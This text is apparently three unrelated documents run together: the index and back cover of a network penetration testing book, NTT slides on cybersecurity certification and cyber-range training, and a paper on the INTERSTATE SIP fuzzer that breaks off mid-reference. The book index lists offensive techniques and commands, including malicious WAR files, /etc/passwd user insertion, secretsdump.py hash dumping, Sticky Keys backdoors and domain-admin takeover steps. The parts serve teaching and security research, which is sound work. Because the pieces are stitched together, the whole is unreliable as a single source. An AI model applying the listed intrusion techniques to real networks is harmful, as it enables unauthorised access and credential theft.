remote management interface (RMI) services 86 remove command 205 (rename-window) bash 245 resource file.rc command 141 reverse payload 123 reverse_https 131 rhosts command 72, 103, 151, 174 RHOSTS parameter 238–239 rhosts variable 70, 104–105 rm /tmp/callback.sh command 198 rm command 205 RMI (remote management interface) ports 32–33 RMI (remote management interface) services 86 Rockyou dictionary 146 RPORT parameter 238 Ruby 228–233 gems 234–235 Hello World example 230–233 code block iterations 232–233 command-line arguments 231–232 in two lines of code 230–231 methods 231 installing Ruby Version Manager 229–230 parsing XML output with 52–58 creating protocol-specific target lists 57–58 ruby hello.rb code 231 ruby hello.rb Pentester 232 ruby hello.rb Royce 232 run post/windows/gather/cachedump command 143 RVM (Ruby Version Manager) 229–230 rvm list command 230 S /s flag 149 sa (SQL Administrator) 70, 103, 106–107, 116 SAM (Security Accounts Manager) 110 SAM registry hive 112–117, 187, 197, 200–201 sayhello() method 231 sayhello(name) method 231–232 scp command 158 search command 237 search invoker command 237 secretsdump.py command 188, 190 secretsdump.py, extracting all hashes with 188–189 Security Accounts Manager (SAM) 110 SECURITY hive 143 security operations center (SOC) 29 service discovery 58 attacker's perspective 39–43 identifying listening network services 42 network service banners 42–43 network service communication 40–41 parsing XML output with Ruby 52–58 creating protocol-specific target lists 57–58 INDEX 281 service discovery (continued) port scanning with Nmap 43–52 commonly used ports 44–47 scanning all TCP ports 47–48 sorting through NSE script output 49–52 sessions -K command 195 sessions -l command 195 set command 239 set CreateSession false 174 set user administrator command 151 severity definitions 208, 214 severity rating 212 shell command 128, 182 show options command 238–239 Simple Mail Transfer Protocol (SMTP) 46, 264 slash 24 (/24) range 26 smart_hashdump module 129 smb_login module 150–151 smbclient command 114 smbclient.py command 187 smbdomain option 151 SMTP (Simple Mail Transfer Protocol) 46, 264 SOC (security operations center) 29 software bugs 119 software exploits 119–120 sort command 243–244 SOW (statement of work) 22, 209 sp_configure command 200 spool /path/to/filename command 179 SQL Administrator (sa) 70, 103, 106–107, 116 SSH (secure shell) automating tunnels 162–163 creating key pairs 157–158 passing keys 171–174 scanning multiple targets with Metasploit 172–174 stealing keys from compromised host 172 removing key pairs 198 tunneling through 160–162 ssh protocol 261 SSH tunnel 160 ssh-hostkey NSE script 49 ssh-keygen -t rsa command 157 ssh-keygen command 157 SSL parameter 238 -sT flag 49 statement of work (SOW) 22, 209 Sticky Keys feature closing backdoors 204 launching via RDP 97–98 stored procedures 105 strong password 66 su command 171 su pentest command 196 subnet hunting, host discovery with 36–37 sudo apt install default-jdk command 90 sudo apt install net-tools command 26 sudo apt install postgresql postgresql-contrib command 235 sudo apt install vim command 230 sudo apt install xyz –y command 94 sudo apt install xyz, command 94 sudo apt update command 223 sudo apt upgrade command 223 sudo su postgres command 235 sudo update-rc.d postgresql enable command 235 SUID binaries, privilege escalation in Linux or UNIX 166–171 inserting new user into /etc/passwd 169–171 locating SUID binaries with find command 167–169 -sV flag 48 SYS registry hive 114 -system parameter 188 SYSTEM registry hive 112–113, 115–116, 190, 197, 199–201 system stored procedures 105 T -t flag 76 target list 20 target, use of term 20 TARGETURI parameter 238 tasklist /v command 94 TCP, scanning all ports 47–48 tcpwrapped protocol 262 technical observations 211–214, 257–260 default credentials found on Apache Tomcat 257–258 default credentials found on Jenkins 258 default credentials found on Microsoft SQL database 259 finding recommendations 214 missing Microsoft security update MS17-010 259–260 shared local administrator account credentials 260 terminal multiplexers 244 threads options 151 Threat actor, defined 4 threat landscape 3 Tien account 251 Tien hostname 249 Tien.capsulecorp.local 252 .times method 232 /tmp/callback.sh script 202 tmux commands 244–246 saving session 246 using 245 INDEX 282 tmux ls command 246 to string 231 .to_s method 231 Tomcat servers, compromising 89–92 accessing web shell from browser 92 creating malicious WAR file 90 default credentials found on Tomcat 257–258 deploying WAR file 91 undeploying WAR files 202–203 tool List 208 –-top-ports flag 58 --top-ports nmap flag 46 Trunks hostname 249 Trunks.capsulecorp.local 252 Trunksadm account 251 tspkg command 142 type [FILE] | find /I [STRING] command 94 type [FILE] command 94 U Ubuntu building virtual machines 221–222 managing packages with apt 223 virtual penetration testing platform 14 UNIX post-exploitation 174 credential harvesting 163–166 escalating privileges with SUID binaries 166–171 maintaining reliable re-entry with cron jobs 156–163 passing SSH keys 171–174 unknown protocol 264 unpatched services, attacking 132 compromising Eternal Blue with Metasploit 121–124 using ms17_010_psexec exploit module 124 verifying that patch is missing 122–123 Meterpreter shell payload 125–130 useful commands 127–130 public exploit database cautions about 130–132 generating custom shellcode 130–132 software exploits 119–121 up ping 24 use module 238 username variable 105 /usr/bin/passwd binary 167 V -v admin123 243 vagrant ssh pentest command 23 Vegeta hostname 249 Vegeta.capsulecorp.local 252 Vegetaadm account 251 VHOST parameter 238 vim hello.rb script 230 virtual penetration testing platform 13–15, 221–239 Linux 13–14 Metasploit 233–239 msfconsole 237–239 OS dependencies 233 Ruby gems 234–235 setting up PostgreSQL 235–236 Nmap 224–228 compiling and installing from source 227 exploring documentation 228 Nmap Scripting Engine 224–226 OS dependencies 226 OS dependencies 222–224 customizing terminal look and feel 224 installing CrackMapExec 224 managing Ubuntu packages with apt 223 pentest distributions 14–15 Ruby 228–233 Hello World example 230–233 installing Ruby Version Manager 229–230 Ubuntu project 14 Ubuntu virtual machines 221–222 vnc protocol 264 vnc_login module 72 vnc-brute script 225 vnc-http protocol 264 VNC, brute-force password guessing 72–73 VSC (Volume Shadow Copies) 185–188, 190 vssadmin command 185–186, 190 vssadmin list shadow command 186 vulnerability discovery 81 authentication vulnerabilities 65–73 brute-forcing local Windows account passwords 68–69 brute-forcing MSSQL and MySQL database passwords 69–72 brute-forcing VNC passwords 72–73 creating client-specific password list 66–67 configuration vulnerabilities 75–80 analyzing output from Webshot 77 manually guessing web server passwords 78–80 setting up Webshot 75–76 following path of least resistance 61–62 overview 60–62 patching vulnerabilities general discussion 62–65 scanning for Eternal Blue 64–65 INDEX 283 W -W 1 flag 26 WAR files creating malicious 90 deploying 91 undeploying from Apache Tomcat 202–203 wc -l command 28 wc command 243–244 wdigest command 142 web services, attacking 101 compromising vulnerable Jenkins server general discussion 99–101 Groovy script console execution 100–101 compromising vulnerable Tomcat server 89–92 accessing web shell from browser 92 creating malicious WAR file 90 deploying WAR file 91 gaining initial foothold 88–89 interactive vs. non-interactive shells 94 upgrading to interactive shell 94–98 backing up sethc.exe 95–96 launching sticky Keys via RDP 97–98 modifying file ACLs with cacls.exe 96–97 web shells accessing from browser 92 deploying backdoor 87 generating custom shellcode 130–132 interactive vs. non-interactive shells 94 killing active shell connections 195 Meterpreter shell payload 125–130 useful commands 127–130 upgrading to interactive 94–98 backing up sethc.exe 95–96 launching Sticky Keys via RDP 97–98 modifying file ACLs with cacls.exe 96–97 Webshot analyzing output from 77 setting up 75–76 wget command 76 where command 148–149 white-box scoping 22 whoami command 92, 109, 182, 200 Windows accounts brute-force password guessing 68–69 stealing password hashes 110–114 post-exploitation 154 credential harvesting from filesystem 147–149 credential harvesting with Mimikatz 141–143 credential harvesting, domain cached credentials 143–147 maintaining reliable re-entry with Meterpreter 138–139 moving laterally with Pass-Hash 149–154 server creation 250–252 Gohan.capsulecorp.local 251 Goku.capsulecorp.local 250–251 Krillin.capsulecorp.local 252 Nappa.capsulecorp.local 252 Tien.capsulecorp.local 252 Trunks.capsulecorp.local 252 Vegeta.capsulecorp.local 252 Yamcha.capsulecorp.local 252 windows 244 workflow 5–8, 12 documentation phase 11–219 focused penetration phase 9–10, 86–88 accessing remote management services 87–88 attacking unpatched services 132 attacking vulnerable database services 117 attacking vulnerable web services 101 deploying backdoor web shells 87 exploiting missing software patches 88 information gathering phase 8–9 host discovery 37 service discovery 58 vulnerability discovery 81 post-exploitation and privilege escalation phase 10–11, 136–138 controlling entire network 190 credential harvesting 137 Linux or UNIX post-exploitation 174 maintaining reliable re-entry 137 moving laterally 137–138 Windows post-exploitation 154 X -X command argument 138 :x shorthand 231 XML (Extensible Markup Language) 51 XML output creating protocol-specific target lists 57–58 parsing with Ruby 52–58 xp_cmdshell enabling 106–108 running OS commands with 108–109 xp_cmdshell stored procedure 104–109, 111, 117, 200 Y -y flag 94 Yamcha account 249, 251 Yamcha.capsulecorp.local 252 E D C B All the password hashes All the password hashes A Attacking machine Domain admin logged in Domain controller Server 1 Server 2 Server 3 Server 4 Volume shadow copy NTDS.dit SYSTEM registry hive lmpacket: secretsdump.py Impersonate a domain admin account Mimikatz: Harvest credentials Incognito: Steal tokens $ net group "Domain Admins"/domain Metasploit: psexec_command("qwinsta") Domain admin usernames Domain admin usernames Domain admin usernames All the password hashes A. Identify domain admin user accounts. B. Locate systems with domain admins logged in. C. Elevate to domain admin privileges. D. Obtain NTDS.dit and SYSTEM from VSC on domain controller. E. Extract all domain account password hashes. P enetration testers uncover security gaps by attacking networks exactly like malicious intruders do. To become a world-class pentester, you need to master off ensive security concepts, leverage a proven methodology, and practice, practice, practice. Th is book delivers insights from security expert Royce Davis, along with a virtual testing environment you can use to hone your skills. The Art of Network Penetration Testing is a guide to simulating an internal security breach. You’ll take on the role of the attacker and work through every stage of a professional pentest, from information gathering to seizing control of a system and owning the network. As you brute force passwords, exploit unpatched services, and elevate network level privileges, you’ll learn where the weaknesses are—and how to take advantage of them. What’s Inside Set up a virtual pentest lab Exploit Windows and Linux network vulnerabilities Establish persistent re-entry to compromised targets Detail your fi ndings in an engagement report For tech professionals. No security experience required. Royce Davis has orchestrated hundreds of penetration tests, helping to secure many of the largest companies in the world. To download their free eBook in PDF, ePub, and Kindle formats, owners of this book should visit www.manning.com/books/the-art-of-network-penetration-testing $49.99 / Can $65.99 [INCLUDING eBOOK] The Art of Network Penetration Testing SECURITY “ An excellent reference for all stages of the penetration process.” —Sven Stumpf, BASF “ A practical approach that covers everything a beginner needs to get into the fi eld.” —Imanol Valiente Martín Full On Net “ Leads you through a practical and well-structured process. Highly recommended!” —Sithum Nissanka, Worldline “ Excellent book! It teaches you how to defend yourself against attacks, but also how to execute penetration tests yourself.” —Marcel van den Brink TBAuctions M A N N I N G Royce Davis See first page ISBN: 978-1-61729-682-6
pdf
Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Cybersecurity Talent  Development in  NTT  Group Takehiro Ozaki,  NTT-CERT Mitsuhiro  Hatada,  NTT  Com-SIRT Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation About  us l Takehiro Ozaki l NTT Secure Platform Laboratories lSenior Research Engineer of NTT-CERT l NTT Group Certified Security Professional l Mitsuhiro Hatada l NTT Communications Corporation lCybersecurity, Technology Development Department l& Tokyo 2020 Taskforce l& NTT Com-SIRT l NTT Group Certified Security Principal l Ph.D. student l MWS organizer lhttp://www.iwsec.org/mws/2017/ - 1 - Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Agenda l Security Certification Program in NTT Group l Overview of NTT Group l Security certification program l Technical activity l Keys to success l NTT Com Cyber Range l Overview l Scenario Development l Training cases l Lessons learned - 2 - NTT秘 (情報管理区分:Bランク) Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation SECURITY  CERTIFICATION   PROGRAM  IN  NTT  GROUP - 3 - Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Diagram  of  NTT  Affiliate  Groups - 4 - Other Group Company Long  Distance  and International   Communications Data Communications Others Regional     Communications Mobile Communications R&D August  2016 Started   business Security http://www.ntt.co.jp/gnavi_e/index.html Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation CISO  and  CISO  Committee - 5 - Other Group Company Long  Distance  and International   Communications Data Communications Others Regional     Communications Mobile Communications Security CISO CISO CISO CISO CISO CISO R&D CISO Group  CISO Committee Appointed CISO each group company and established the Group CISO Committee in 2015. Promote security information sharing among group companies. Strengthen security operation and cybersecurity talent development. Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Situation  of  Cybersecurity A  Few  Years  Ago  … l In the world: l Cyber threats became more sophisticated and diversification. l Cyber attacks and data breaches became social issues. l In Japan: l Cyber talent shortage has been a serious problem. l A Japanese government organization estimated in 2014 that Japanese companies need an additional 80,000 information security engineers. l NTT Group: l Several cyber attacks and data breaches… - 6 - Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Increased  demand  for  Security  expert - 7 - Security  experts (domestic) ①Advanced ②Intermediate ③beginner 50~ 100 2000 8000 2,500 10,000 2020 Current(2014) Develop 10,000 security experts by 2020. Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Security  Certification  Program - 8 - Original Security Certification Program started in 2015 pWhy certification? l Define Classes, Titles, Levels of security experts. l Encourage engineers to get more motivated in security field. l Take the stats of security experts. For security experts to be motivated and to be active Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Security  expert  Type/Level  Map - 9 - Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Definitions  of  Each  Class l Security management consulting l Security supervisor l Auditor and Assessment l Security operations l Monitoring operator l Operation supporter l Security development l Architect l Engineer and researcher - 10 - Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Level  Qualification l Advanced: l Approval examination formed by group CISO committee member, current advanced members and university professors. l Intermediate: l Work experience l Public/In-House qualifications l Pass an exam using Cyber Range (operations) l Beginner: l Public/In-House qualifications l Take a training by the online lecture system (Gacco) - 11 - Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Public  Qualifications - 12 - Intermediate: ・CISSP(Certified Information System Security Professional) ・GIAC(Global Information Assurance Certification)(SANS) ・CCIE Security(Cisco) ・One of Japanese Certifications Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Current  Security  experts - 13 - Security Master Securiy Principal Security Professional Security expert Certified (Beginner) (Intermediate) (Advanced) Advanced (30) Intermediate (2,400) Beginner (28,000) 0.1% 8% 92% Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Group  Security  Logo  /  License  Card l Logo l License Card - 14 - uDerive Since owls do not miss any small ones, they are said to be "guardian guards and guards of the forest" from ancient times, expressing the image of security that they are always watching NCeS NCeS NTTGroup Certified Security Master Advanced Intermediate Beginner Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Online  Security  Training - 15 - Produced by University Professors and Lab members. Online training for non-security personnel. Platform is provided by a NTT group company. Course name Start date trainer 情報セキュリティ 『超』⼊入⾨門 2015/July Institute  of   Information  Security ʻ‘s  Professors 情報セキュリティ 初級 2015/October Gacco security program overview Learning style by Gacco Online Outside 、Free time 10 minutes Video contents SmartPhone, Tablet Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Cyber  Range  Training - 16 - Technical Hands-On Training Trainee can get a certification of intermediate level of security-operation by passing an exam. ●Cyber Range tarining Servers VM Contents Exercises Contents Day 1 Web  site  compromise Day 2 Data  breach Spear  Phishing Day 3 DDoS Day 4 Training and  review Exam Test Portalsite (e-learning) Hands on/Exam Trainees Virtual network Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Security  Contest - 17 - NTT Group tournament for intermediate & beginner level experts. Communicate with each participants. Panel discussion and support by Advanced members. Overview of contest Winner Atmosphere of the venue Solve many questions with colleagues Internet <Attack> Capture the Flag <Defense> Revise vulnerable code participants Web SV Question SV Answer/ Grading SV Other SV Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Keys  to  Successful - 18 - p How to define specific security tasks and skill sets l Very complicated real tasks, required skills l Original definition of security experts ourselves p How to expand this program to many group companies l Many group companies (departments) and several business conditions Keys to Successful Improvement of the environment and be active with motivation for security experts through Security Certification Program. Goal Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Further  activities l Shifting aim to raise the beginner level engineers up to the intermediate level. l Broadening this NTT Group’s qualification method to overseas subsidiaries. - 19 - NTT秘 (情報管理区分:Bランク) Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation NTT  COM  CYBER  RANGE - 20 - Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Overview l Cyber Range l Virtual and/or physical environment l Cyber warfare training and testing - 21 - nge Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Motivation  of  own  development  in  2014 l Flexibility l Architecture l Topology l Virtual and/or Physical l Privilege l Threat changes l Reusable experience l Incident - 22 - The  farthest  way  about   is  the  nearest  way  home. l Principle l Avoid vendor specific feature l Target people l From beginners to professionals l Various job categories as ISP, MSSP, and CSIRT. lPre-sales engineers lNetwork operators lSystem developers lAnalyst Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation People  surrounding  our  cyber  range - 23 - Testing Training Scenario developer Trainer Trainee Developer COTS Tester Infrastructure engineer Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Testing  example l Developer l Threat hunting tool l Controller l COTS Tester l Sandbox l EDR l Infrastructure engineer l OpenStack l vSphere - 24 - Testing Developer COTS Tester Infrastructure engineer Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Training  example - 25 - Training Scenario developer Trainer Trainee l Basic course l Crypto l Authentication l Packet analysis/crafting l Web vulnerability l Reverse engineering l Exploit l Advanced course l Web site compromise l Multiple types of DDoS l Spear Phishing l Data breach Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Component  and  Operation - 26 - Server Server Storage ESXi ESXi / vCenter Portal DNS, etc. Desktop VM VMs Trainer Trainee 4) Connect remotely 6) Hands-on 2) Read material 3) VM Power on/off 5) Run scenario (.sh, .py, etc.) Monitor progress 1) Deploy VMs (.ps) 7) Answer to challenge Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation - 27 - DEMO Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Scenario  development - 28 - Interview / Survey Requirement definition Design Implementation Rehearsal l Incident detail l Problems / Struggles l Skills you can earn l Host and Network l Attack and Defense l Legitimate action l Common or individual l Test l Reading material & challenges l Walk-through Deployment l Master images creation l Copy and change setting Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Web  site  compromise l Section 1 l Vulnerability (Struts2) and incident cases l Setup lInstall and configure apache, tomcat, and struts with sample application on Web App2 lInstall and configure mod_proxy on Load Balancer lCustomize logging - 29 - Web App1 Web App2 Load Balancer Pseudo Internet Understand  the  environment. Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Web  site  compromise l Section 2 l Detect attacks l Investigate incidents lAttack sources lUploaded file lWebshell letc. - 30 - Analyze  logs  and  files  w/o  overlooking. Web App1 Web App2 Load Balancer Pseudo Internet Legitimate Attack Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Web  site  compromise l Section 3 l Try PoC l Utilize attack tool l Verify logs, files and packets - 31 - Know  your  enemy. Web App1 Web App2 Load Balancer Pseudo Internet Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Web  site  compromise l Section 4 l Apply interim measure lmod_rewrite, mod_security, and Servlet filter l Test l Identify limitations l Apply permanent measure lFixed version - 32 - Defend  by  better  choice. Web App1 Web App2 Load Balancer Pseudo Internet Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Certification  training  and  exam. l Curriculum l Day 1 – 3 lAdvanced (4 scenarios) l Day 4 lReview lexam. (modified 4 scenario) l Style l Lecture and hands-on l Individual l Kit l Laptop and display l Wifi l Internet connection - 33 - l Size l 8 - 10 trainees from multiple companies / a term Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Security  Bootcamp  for  NTT  Group - 34 - l Curriculum l 1st month lBasic l 2nd month lAdvanced (4 scenarios) l Style l Self-learning l Individual l Biweekly review meeting l Wrap-up meeting w/ trainee’s boss l Kit l Laptop and display l Wifi l Internet connection Wrap-­up  meeting l Size l 4 - 8 trainees from multiple companies / a term Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation enPiT Security  “SecCap” - 35 - https://www.seccap.jp/gs/index.html l Curriculum l Advanced (2 scenarios) l Short version l Style l Lecture and hands-on l 3 – 4 students / group l Tutor / group l Kit l Laptop l 1 display / group l Wifi l Internet connection l Size l 20 - 30 students from multiple universities / a term Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Lessons  learned l Keep away from regular work. l Make trainees compete with each other. l Deal with actual incident to enhance reality of scenario. l Practice makes perfect. l Essential things to learn are immutable even in exercises targeting old vulnerabilities. l Briefing and debriefing are crucial. l Avoid misunderstanding the situation and the role. l Feedback to each other leads to the next action. l Clarify what level of talent you want to raise. - 36 - Copyright©2017 Nippon  Telegraph  and  Telephone  Corporation Thank  you!
pdf
INTERSTATE: A Stateful Protocol Fuzzer for SIP Thoulfekar Alrahem, Alex Chen, Nick DiGiussepe, Jefferey Gee, Shang-Pin Hsiao, Sean Mattox, Taejoon Park, Albert Tam, Ian G. Harris Department of Computer Science University of California Irvine Irvine, CA 92697 USA harris@ics.uci.edu Marcel Carlsson FortConsult Tranevej 16-18 2400 Copenhagen NV Denmark mc@fortconsult.net Abstract We present the INTERSTATE fuzzer to detect security vulnerabilities in VOIP phones which implement Session Initiation Protocol (SIP). INTERSTATE generates an input sequence for a SIP phone which is constructed to reveal common security vulnerabilities. SIP is a stateful protocol so a state machine description of the SIP protocol is used by INTERSTATE to ensure that the entire state space is explored. The input sequence consists of SIP request messages as well as GUI input sequences which are remotely applied to the phone under test. The input sequence is generated to perform a random walk through the state space of the protocol. The application of GUI inputs is essential to ensure that all parts of the state machine can be tested. Faults are injected into SIP messages to trigger common vulnerabilities. INTERSTATE also checks the SIP response messages received from the phone under test against the expected responses described in the state machine. Checking response messages allows for the detection of security bugs whose impact is more subtle than a simple crash. We have used INTERSTATE to identify a previously unknown DoS vulnerability in an existing open source SIP phone. The vulnerability could not have been discovered without exploring multiple paths through the state machine, and applying GUI inputs during the fuzzing process. 1 Introduction Several factors have combined to dramatically increase the significance of the computer security problem and the need for computer security research. Software security, a subfield of computer security, has attracted significant research attention relatively recently. Software security involves the protection of software which interacts with a network, either directly or indirectly. A great deal of previous research in indentifying security vulnerabilities in code has involved either static analysis or dynamic checking, but both of these techniques have inherent advantages and disadvantages. Static analysis techniques are employed prior to software deployment, so they have no impact on run time system performance. However, static analysis does not have access run time information, so vulnerability detection is imprecise, either resulting in false positives or false negatives. Run time analysis detects security vulnerabilities on-the-fly, as they occur during execution. Run time analysis is more accurate because it can evaluate the entire dynamic system state to detect vulnerability conditions, but the performance impact can be significant for a tightly constrained system. We investigate the use of fuzzing as a method to detect vulnerabilities in networked software. Fuzzing is performed before software deployment, so it has no impact on run time performance as static analysis. Fuzzing is also a dynamic process 1 so all of the dynamic system state can be used to identify vulnerabilities, so it has the potential to have the accuracy of run time analysis. Fuzzing is fundamentally different from traditional testing techniques because it requires the violation of assumptions about program behavior [19]. We explore vulnerabilities in VOIP phones, specifically those which adhere to the Session Initiation Protocol (SIP) stan- dard. SIP phone applications are of interest because their use is becoming more widespread, and because their security has not been fully explored. The SIP protocol presents a challenge because is it a stateful protocol, unlike many other application-layer protocols which have no state. The INTERSTATE fuzzer explores the state machine of the SIP protocol during the testing process to reveal vulnerabilities associated with obscure control flow paths. Test sequences are generated and transmitted to the SIP phone to force the phone application to explore control paths automatically. The test sequences include SIP messages which are also modified to include faults which may trigger security vulnerabilities. The INTERSTATE fuzzer controls the GUI of the phone being tested in order enable the activation of all control paths in the phone under test. For example, a large portion of the SIP state space can only be reached if a phone call is accepted. Full exploration of the state machine is only possible if the GUI inputs of the phone can be controlled by the fuzzer. The INTERSTATE fuzzer also checks the response messages and compares them to the expected responses as described in the state machine. Detailed response checking is needed because some vulnerabilities may manifest themselves as errorneous response messages, rather than as a complete crash of the phone. The unique features of the INTERSTATE fuzzer are as follows: 1. Automatic exploration of the protocol state machine 2. Application of GUI inputs to the phone under test 3. Checking of response messages We have used the INTERSTATE fuzzer to evaluate the KPhone SIP phone [1] and we have identified a previously unknown vulnerability in that application. 2 Fuzzer System Structure Figure 1 depicts the interactions between the basic components of the INTERSTATE fuzzer and a SIP phone under test. The SIP phone is assumed to communicate with users through either a graphics user interface (GUI) or a text-based interface. The fuzzer provides all inputs and examines all message outputs. The edges labeled messages indicate message sequences being transferred between the testing system and the system under test via a network. The edge labeled GUI indicate the transfer of user commands to the SIP phone over a TCP/IP network. Previous research in security testing has only used the testing system to supply messages and had not controlled the GUI of the system under test [12, 14, 24, 3]. The reason that the user interface is not controlled in previous work is that it is assumed that an attacker would not have the ability to control the user interface, so there is no need to do so during security testing. Although it is true that the attacker would usually not have control over the user interface, an attack could be devised which depends on the actions of the user. For example, an attack on a SIP phone might only be successful if the user accepts the phone call. In order to explore such attacks it is necessary to control the user interface during testing. The testing system has three parts, the Protocol Description, the Test Sequence Generator, and the Response Analyzer. The protocol description is a state machine which describes the behavior of a phone application which adheres to the SIP protocol. The state machine is manually extracted from the protocol specification in the form of a Request for Comments (RFC) [2]. The test sequence generator produces a sequence of messages and GUI events and sends them to the SIP phone under test. The input sequence forces the SIP phone to follow a random walk of the SIP state machine. Response analysis is performed by using the protocol state machine as a reference. The messages received from the SIP phone are compared to the expected responses contained in the state machine. If the received message sequence differs from the expected sequence then a vulnerability is detected. 3 Related Work Many static analysis techniques have been applied to software security [6]. The simplest static checking approaches scan the source code for text patterns which are potentially problematic, such as well-known insecure functions like sprintf and gets [21, 23, 13]. These tools are simple and fast but they produce a large number of false positives. A number of techniques 2 Test Sequence Generator Response Analyzer SIP Phone messages messages GUI Protocol Description Security Testing System Figure 1. INTERSTATE Fuzzing System depend on user-specified code annotations to provide functional information about the code which can be verified against. An example is the Splint tool [8, 15] which requires the designer to include preconditions and postconditions for each function. Type modifiers have been used to track the flow of unvalidated data through the system and guarantee that it is not used for a safety-critical operation before it is sanitized [20, 10]. The BOON tool [22] detects buffer overflow vulnerabilities using an integer linear programming formulation to compute the maximum length of buffers on all flow paths. A number of run time checking techniques to guard against improper manipulation of the stack are based on the approach of StackGuard [7]. The gcc compiler is slightly modified to place and check a canary word at the beginning and end of each function call. The canary word is placed on the stack just before the return address and if the return address has been corrupted by a stack smashing attack then the canary word must have been affected. Libsafe [4] and Libverify [5] are dynamic libraries which modify vulnerable functions to include run time checking for stack smashing attacks. Libsafe ensures that a vulnerable function cannot write past the current stack frame. This is accomplished by computing input length and performing a boundary check before each call. Sandboxing has been proposed [11] to control a program’s access to the operating system by selectively allowing or disallowing the use of particular system calls. Fuzzing was first proposed by Miller et al at the University of Wisconsin Madison for use in determining program robust- ness [17, 18, 9, 16]. The approach involves supplying random and directed test sequences to the program under test. The test sequences contain both valid and invalid subsequences which are generated to expose security vulnerabilities. Fuzzing has been used to test implementations of a variety of network protocols including HTTP [12], FTP [14], and SIP [24, 3]. 4 Experimental Results We have evaluated the INTERSTATE fuzzer by using it to test an open source SIP phone, KPhone Version 4.2 [1]. KPhone is written in C++ and C, and totals 45,761 lines if code. The same version of KPhone was tested in previous work [3] and no security vulnerabilities were detected. INTERSTATE detected a timing vulnerability when a Bye message is received immediately after a call is accepted. KPhone loads the required audio codecs before sending the 200 OK message. The process of loading the codecs takes place quickly, usually in less than a second. KPhone crashed when a BYE is received during this codec initialization period. 3 References [1] KPhone SIP softphone. http://kphone.cvs.sourceforge.net/kphone/kphone/. [2] Rfc editor database. http://www.rfc-editor.org/. [3] G. Banks, M. Cova, V. Felmetsger, K. Almeroth, R. Kemmerer, and G. Vigna. SNOOZE: toward a Stateful NetwOrk prOtocol fuzZEr. In Proceedings of the 9th Information Security Conference, 2006. [4] A. Baratloo, N. Singh, and T. Tsai. Libsafe: Protecting critical elements of stacks, 1999. [5] Arash Baratloo, Navjot Singh, and Timothy Tsai. Transparent run-time defense against stack smashing attacks. In Proceedings of the USENIX Annual Technical Conference, 2000. [6] Brian Chess and Gary McGraw. Static analysis for security. IEEE Security and Privacy, 2(6):32–35, Novem- ber/December 2004. [7] Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, Qian Zhang, and Heather Hinton. StackGuard: Automatic adaptive detection and prevention of buffer-overflow attacks. In USENIX Security Conference, pages 63–78, Jan 1998. [8] David Evans and David Larochelle. Improving security using extensible lightweight static analysis. IEEE Software, pages 42–51, Jan/Feb 2002. [9] J.E. Forrester and B.P. Miller. An empirical study of the robustness of windows nt applications using random testing. In 4th USENIX Windows Systems Symposium, August 2000. [10] J. Foster, T. Terauchi, and A. Aiken. Flow-sensitive type qualifiers. In ACM Conference on Programming Language Design and Implementation, pages 1–12, 2002. [11] Ian Goldberg, David Wagner, Randi Thomas, and Eric A. Brewer. A secure environment for untrusted helper applica- tions. In Proceedings of the 6th Usenix Security Symposium, 1996. [12] Yao-Wen Huang, Shih-Kun Huang, Tsung-Po Lin, and Chung-Hung Tsai. Web application security assessment by fault injection and behavior monitoring. In International Conference on World Wide Web, pages 148–159, 2003. [13] Secure Software Inc. RATS. http://www.securesw.com/rats. [14] Leon Juranic. Using fuzzing to detect security vulnerabilities. Technical report, Infingo IS, April 2006. [15] David Larochelle and David Evans. Statically detecting likely buffer overflow vulnerabilities. In Usenix Security Symposium, 2001. [16] B.P. Miller, G. Cooksey, and F. Moore. An empirical study of the robustness of macos applications using random testing. In International Workshop on Random Testing, July 2006. [17] B.P. Miller, L. Fredriksen, and B. So. An empirical study of the reliability of unix utilities. Communications of the ACM, 33(12), December 1990. [18] B.P. Miller, D. Koski, C.P. Lee, V. Maganty, R. Murthy, A. Natarajan, and J. Steidl. Fuzz revisited: A re-examination of the reliability of unix utilities and services. Technical report, University of Wisconsin-Madison, Department of Computer Science, April 1995. [19] P. Oehlert. Violating assumptions with fuzzing. IEEE Security and Privacy Magazine, 3(2):58–62, March-April 2005. [20] Umesh Shankar, Kunal Talwar, Jeffrey S. Foster, and David Wagner. Detecting format string vulnerabilities with type qualifiers. In Proceedings of the 10th USENIX Security Symposium, 2001. [21] John Viega, J. T. Bloch, Tadayoshi Kohno, and Gary McGraw. ITS4: A static vulnerability scanner for C and C++ code. ACM Transactions on Information and System Security, 5(2), 2002. 4 [22] David Wagner, Jeffrey S. Foster, Eric A. Brewer, and Alexander Aiken. A first step towards automated detection of buffer overrun 